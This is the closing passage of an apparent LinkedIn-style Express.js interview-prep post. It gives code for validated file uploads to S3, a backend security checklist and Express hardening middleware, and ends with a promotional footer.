  limits: { fileSize: 5 * 1024 * 1024 },  // 5MB limit
  fileFilter: (req, file, cb) => {
    const allowed = ["image/jpeg", "image/png", "application/pdf"]
    if (!allowed.includes(file.mimetype)) {
      return cb(new Error("Invalid file type"), false)
    }
    cb(null, true)
  }
})
```

```
// Upload handler
app.post("/upload", authenticate, upload.single("file"), async (req, res) => {
  const buffer = req.file.buffer
  // Validate magic bytes
  if (!validateMagicBytes(buffer, req.file.mimetype)) {
    return res.status(400).json({ error: "Invalid file content" })
  }
  // Upload to S3 with random name
  const key = `uploads/${uuid()}-${Date.now()}`
  await s3.upload({ Bucket: "my-bucket", Key: key, Body: buffer }).promise()
  res.json({ key })
})
```

■ Interview Tip:
Never serve uploaded files from your web server directly — use S3 or similar object storage with pre-signed URLs. This isolates uploaded content from your application code and prevents stored XSS via malicious files.

Q60 Security best practices?

■ Answer

A comprehensive security checklist for Node.js/backend applications.

Authentication:

- bcrypt/argon2 for passwords
- JWT + refresh token rotation
- MFA for sensitive accounts
- Rate limit auth endpoints

Headers:

- helmet.js (CSP, HSTS, X-Frame-Options)
- CORS whitelist

Input:

- Validate all inputs (Zod/Joi)
- Parameterized queries
- Sanitize for XSS (DOMPurify)

Infrastructure:

- HTTPS everywhere
- Least privilege DB user
- Secrets manager (not .env in production)
- Dependency scanning (npm audit)
- Audit logging

```
// Security checklist — Express setup

// 1. Security headers
app.use(helmet())

// 2. Rate limiting
app.use("/api/", rateLimit({ windowMs: 60000, max: 100 }))
app.use("/api/auth/", rateLimit({ windowMs: 900000, max: 10 }))

// 3. CORS
app.use(cors({ origin: allowedOrigins, credentials: true }))

// 4. Parse JSON with size limit
app.use(express.json({ limit: "10kb" }))

// 5. NoSQL injection prevention
app.use(require("express-mongo-sanitize")())

// 6. HTTP Parameter Pollution
app.use(require("hpp")())

// 7. Compression (DoS via large requests)
```

```
app.use(require("compression")())
```

```
// 8. Keep dependencies updated
// npm audit --fix
// Use Snyk or Dependabot

// 9. Principle of Least Privilege
// DB user: only SELECT/INSERT/UPDATE, no DROP
// IAM role: only specific S3 bucket, not all resources

// 10. Error handling — never expose internals
app.use((err, req, res, next) => {
  console.error(err)  // log internally
  res.status(err.status || 500).json({
    error: process.env.NODE_ENV === "production"
      ? "Something went wrong"
      : err.message
  })
})
```

■ Interview Tip:
Security is a process, not a checklist. Run "npm audit" regularly, subscribe to security advisories for your dependencies, and conduct periodic code reviews focused on the OWASP Top 10. The most dangerous vulnerabilities are often the ones you didn't think to check for.

Express.js 60 Q — Complete! ■

■ All 60 questions with detailed answers + code!

Next: MongoDB (120 Q) → Behavioral (50 Questions) →DevOps & Docker (40 Questions)

■ SAVE — your Auth & Security bible

■■ REPOST — help your dev community

■ COMMENT 'JS950' — get all 950 Q PDF

■ FOLLOW Kaushal Singh — daily prep

Kaushal Singh

Full-Stack Dev | MERN + React Native | Next.Js

1M+ Impressions |Follow for React ·React Native · Express · Next · Node · MongoDB · Interview Prep daily

Section 6/10 done | Next: MongoDB 120 Q | Comment 'JS950'